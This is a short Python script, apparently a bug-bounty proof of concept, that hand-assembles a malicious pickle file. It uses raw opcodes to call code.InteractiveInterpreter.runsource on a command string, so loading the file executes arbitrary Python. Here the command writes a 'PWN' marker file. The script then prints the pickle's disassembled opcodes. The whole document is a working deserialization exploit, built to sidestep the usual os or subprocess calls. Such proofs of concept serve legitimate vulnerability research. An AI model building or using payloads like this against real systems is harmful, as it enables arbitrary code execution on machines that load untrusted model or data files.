import pickletools MARKER = "C:/Users/uozer/AppData/Local/Temp/opencode/codeii_PWN.txt" OUT = r"D:\0projects\bountykimi\tmp\artifacts\code_interactive.pkl" cmd = "open(r'%s','w').write('PWN')" % MARKER def s(x): return b"\x8c" + bytes([len(x)]) + x.encode() # stack: [func runsource] + [inst] + [cmd] + TUPLE2 + REDUCE payload = ( b"\x80\x04" + s("code") + s("InteractiveInterpreter.runsource") + b"\x93" # function + s("code") + s("InteractiveInterpreter") + b"\x93" # class + b")R" # inst = InteractiveInterpreter() + s(cmd) # cmd string + b"\x86" # TUPLE2 -> (inst, cmd) + b"R" # REDUCE -> runsource(inst, cmd) + b"." ) open(OUT, "wb").write(payload) for op, arg, pos in pickletools.genops(payload): print(op.name, repr(arg))